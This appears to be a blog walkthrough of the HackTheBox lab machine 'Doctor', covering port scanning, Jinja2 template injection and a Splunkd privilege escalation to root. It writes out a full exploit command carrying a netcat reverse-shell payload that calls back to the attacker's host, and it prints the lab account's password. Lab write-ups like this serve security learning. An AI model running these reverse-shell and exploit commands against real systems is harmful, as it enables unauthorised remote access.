February 16, 2021 by Nasef
Doctor HackTheBox Walkthrough
Doctor is a machine in which I used Server Side Template injection to get to obtain shell access and then used enumeration and exploit vulnerable service to get root Access.
As always, I started scanning with Nmap
nmap -sV -sV 10.10.10.209 Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-29 10:35 EDT Nmap scan report for doctors.htb (10.10.10.209) Host is up (0.17s latency). Not shown: 997 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) 8089/tcp open ssl/http Splunkd httpd Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 48.74 seconds
A Normal HTTP, SSH Services and service called splunkd we will look it up later.
An Important thing to do is to add the ip and domain to /etc/hosts becuase of the host routing.
127.0.0.1 localhost 127.0.1.1 kali 10.10.10.209 doctors.htb # The following lines are desirable for IPv6 capable hosts ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters
So First I tried to browse the site using the ip there is nothing important there so I got in using doctors.htb and a login page appeared!
I made an account and logged in and started making new messages. I was susspious about three things as the machine name is “Doctor”
- SQL Injection (Failed)
- XXE Injection (Vulnerable but coulding get Shell)
- Server Side Template Injection (Succeed)
Using the inspect element I found another directory
I tested the new messages both title and content. so found title is vulnerable to SSTI and visite /archive to execute. and found the code executed so it’s Server-Side Template Injection.
I tried to identify the template engine and it was jinja 2. So, I started listening on netcat and added the payload to title as the pervious example and executed it as I visited /archive
nc -lvnp 9999
I ran Linpeas and found a strange thing in password in logs section
So, I tried to su shaun using this as a password and it worked! At this time, I was thinking about the usage of Splunkd so I started searching for exploits and found this one Exploit
Imeditatly I downloaded it and ran it
python exploit.py --host 10.10.10.209 --port 8089 --lhost 10.10.14.110 --payload "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.110 1234 >/tmp/f" --username shaun --password Guitar123 Running in remote mode (Remote Code Execution) [.] Authenticating... [+] Authenticated [.] Creating malicious app bundle... [+] Created malicious app bundle in: /tmp/tmp5iVeZF.tar [+] Started HTTP server for remote mode [.] Installing app from: http://10.10.14.110:8181/ 10.10.10.209 - - [29/Sep/2020 10:56:24] "GET / HTTP/1.1" 200 - [+] App installed, your code should be running now! Press RETURN to cleanup
And Started a listened in other netcat session
kali@kali:~$ nc -lvnp 1234 listening on [any] 1234 ... connect to [10.10.14.110] from (UNKNOWN) [10.10.10.209] 59218 /bin/sh: 0: can't access tty; job control turned off # whoami root
and voila here is the root privilege!